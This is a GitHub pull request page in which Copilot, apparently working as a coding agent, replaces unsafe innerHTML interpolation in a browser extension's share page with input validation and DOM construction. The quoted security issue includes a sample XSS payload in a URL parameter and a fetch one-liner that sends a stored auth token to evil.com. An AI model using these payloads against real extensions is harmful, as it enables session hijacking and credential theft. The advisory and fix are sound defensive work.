Skip to content

Fix XSS vulnerability in share page via unsafe innerHTML interpolation#14

Draft
Copilot wants to merge 2 commits intomainfrom
copilot/fix-xss-vulnerability-share-page
Draft

Fix XSS vulnerability in share page via unsafe innerHTML interpolation#14
Copilot wants to merge 2 commits intomainfrom
copilot/fix-xss-vulnerability-share-page

Conversation

Copy link
Copy Markdown

Copilot AI commented Mar 11, 2026

The nid URL parameter was interpolated directly into innerHTML in share.tsx, enabling HTML injection via crafted URLs (e.g. share.html?nid="><img src=x onerror=alert(1)>). Combined with plain-text auth tokens in chrome.storage.local, this created a token exfiltration path.

Changes

src/share/share.tsx

  • Input validation: Reject any nid not matching /^[a-zA-Z0-9_-]+$/ before use
  • Safe DOM construction: Verify link is now built with createElement/textContent/href instead of being interpolated into innerHTML — the remaining innerHTML assignment contains only static markup
  • Null-safe element access: Replaced all getElementById(...)!. non-null assertions with guarded access
  • noopener noreferrer: Added to both the verify <a> link and the window.open() call for the Twitter share button
// Before — user-controlled nid interpolated into innerHTML
document.getElementById('root')!.innerHTML = `
  <a href="${verifyUrl}" target="_blank">${verifyUrl}</a>
`;

// After — validated nid, link built via DOM APIs
if (!/^[a-zA-Z0-9_-]+$/.test(nid)) { /* reject */ }

const link = document.createElement('a');
link.href = verifyUrl;
link.textContent = verifyUrl;
link.target = '_blank';
link.rel = 'noopener noreferrer';
container.appendChild(link);

Closing the XSS vector also mitigates the token exfiltration risk from Finding 2, since chrome.storage.local is already sandboxed to the extension and injected code was the only viable exfiltration path.

Original prompt

This section details on the original issue you should resolve

<issue_title>[Security][High] XSS vulnerability in share page and auth token storage concerns</issue_title>
<issue_description>## Summary

Two security findings that should be addressed to harden the extension against injection attacks and credential theft.

Finding 1: XSS via innerHTML in Share Page (HIGH)

File: src/share/share.tsx, lines 26-61

The nid parameter is read directly from the URL query string and interpolated into innerHTML without sanitization:

const nid = params.get('nid');
const verifyUrl = `https://asset.captureapp.xyz/${nid}`;
document.getElementById('root')!.innerHTML = `
    <div class="share-container">
      <a href="${verifyUrl}" target="_blank">${verifyUrl}</a>
    </div>
`;

A crafted URL like share.html?nid="><img src=x onerror=alert(1)> could inject arbitrary HTML. While CSP blocks inline <script>, event handler attributes and HTML injection (e.g., phishing forms) remain exploitable.

Fix: Replace innerHTML with DOM API methods:

const link = document.createElement('a');
link.href = verifyUrl;
link.textContent = verifyUrl;
link.target = '_blank';
container.appendChild(link);

Or at minimum, sanitize nid to only allow alphanumeric characters and hyphens.

Finding 2: Auth Tokens Stored in Plain Text (MEDIUM)

File: src/services/StorageService.ts, lines 79-85

Auth tokens are stored as plain strings in chrome.storage.local. Combined with the XSS above, a successful injection could exfiltrate tokens via:

chrome.storage.local.get('auth_token', (data) => fetch('https://evil.com/?t=' + data.auth_token));

Fix: Consider encrypting tokens before storage using crypto.subtle, or at minimum, ensure all DOM rendering paths use safe APIs (textContent, DOM creation) rather than innerHTML.

Impact

  • An attacker who can trick a user into clicking a crafted share URL could inject HTML into the extension context
  • Combined with plain-text token storage, this could lead to session hijacking
  • The extension handles blockchain proof data, making integrity critical

Suggested Approach

  1. Replace all innerHTML usage in share.tsx with safe DOM manipulation
  2. Add input validation/sanitization for URL parameters
  3. Audit all other DOM rendering for similar patterns (non-null assertions in share.tsx lines 64-79 should also use safe element access)

Generated by Health Monitor with Omni</issue_description>

Comments on the Issue (you are @copilot in this section)


✨ Let Copilot coding agent set things up for you — coding agent works faster and does higher quality work when set up for your repo.

Co-authored-by: numbers-official <181934381+numbers-official@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix XSS vulnerability in share page and token storage Fix XSS vulnerability in share page via unsafe innerHTML interpolation Mar 11, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Security][High] XSS vulnerability in share page and auth token storage concerns

2 participants